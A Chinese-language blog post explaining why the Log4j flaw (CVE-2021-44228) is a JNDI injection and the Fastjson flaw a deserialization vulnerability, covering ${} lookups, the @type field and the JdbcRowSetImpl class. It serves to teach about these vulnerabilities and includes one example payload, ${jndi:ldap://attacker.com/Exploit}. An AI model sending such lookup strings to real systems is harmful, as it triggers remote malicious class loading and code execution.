log4j、fastjson到底算反序列化漏洞还是JNDI注入漏洞?

结论:log4j是JNDI注入漏洞,可利用漏洞导致反序列化。
而fastjson是反序列化漏洞,可利用漏洞加载JNDI类。

JNDI(Java Naming and Directory Interface)是 Java 提供的一种 API,用于访问命名和目录服务(如 LDAP、RMI、DNS 等)

1. Log4j 的 JNDI 注入漏洞

Log4j 的 JNDI 注入漏洞(CVE-2021-44228)是典型的 通过字符串解析触发 JNDI 注入 的案例,而不是直接通过反序列化触发。

漏洞原理

Log4j 2.x 版本支持通过${}语法解析日志消息中的变量,并支持jndi:协议。
攻击者可以构造恶意的日志消息(如${jndi:ldap://attacker.com/Exploit}),触发 Log4j 的 JNDI 查找功能。
Log4j 会解析jndi:协议,并尝试通过 JNDI 查找加载远程的恶意类。

与反序列化的关系

不涉及反序列化:Log4j 的 JNDI 注入漏洞是通过字符串解析触发的,而不是通过反序列化。
后续加载恶意类:在 JNDI 查找过程中,目标应用程序会加载远程的恶意类(如通过 LDAP 或 RMI 加载的类),这可能涉及反序列化。但这种反序列化是 JNDI 查找的结果,而不是漏洞触发的直接原因。

2. Fastjson 的 JNDI 注入漏洞

Fastjson 的 JNDI 注入漏洞是通过 反序列化触发 的,因为 Fastjson 的核心功能是 JSON 数据的反序列化。

漏洞原理

Fastjson 在反序列化时,会根据 JSON 数据中的@type字段动态加载类。
攻击者可以构造恶意的 JSON 数据,利用 Fastjson 反序列化漏洞加载 JNDI 相关的类(如com.sun.rowset.JdbcRowSetImpl),并通过 JNDI 请求远程的恶意 LDAP/RMI 服务器,加载并执行恶意代码。

与反序列化的关系

直接依赖反序列化:Fastjson 的 JNDI 注入漏洞是通过反序列化触发的。攻击者通过构造恶意 JSON 数据,利用 Fastjson 的反序列化功能动态加载 JNDI 相关的类。
触发 JNDI 注入:在反序列化过程中,Fastjson 会调用 JNDI 相关的类(如JdbcRowSetImpl),从而触发 JNDI 注入。

3. 为什么 Log4j 和 Fastjson 的 JNDI 注入漏洞与反序列化相关

尽管 Log4j 和 Fastjson 的 JNDI 注入漏洞触发方式不同,但它们都与反序列化有一定的关联性,原因如下:

(1)Log4j 的 JNDI 注入

后续加载恶意类:在 Log4j 的 JNDI 注入漏洞中,目标应用程序会通过 JNDI 查找加载远程的恶意类。这种加载过程可能涉及反序列化(如通过 LDAP 或 RMI 加载的类)。
反序列化是结果:反序列化是 JNDI 查找的结果,而不是漏洞触发的直接原因。

(2)Fastjson 的 JNDI 注入

直接依赖反序列化:Fastjson 的 JNDI 注入漏洞是通过反序列化触发的。攻击者通过构造恶意 JSON 数据,利用 Fastjson 的反序列化功能动态加载 JNDI 相关的类。
反序列化是触发点:反序列化是漏洞触发的直接原因。

posted @ 2025-03-25 12:52  LinkPoc  阅读(101)  评论(0)    收藏  举报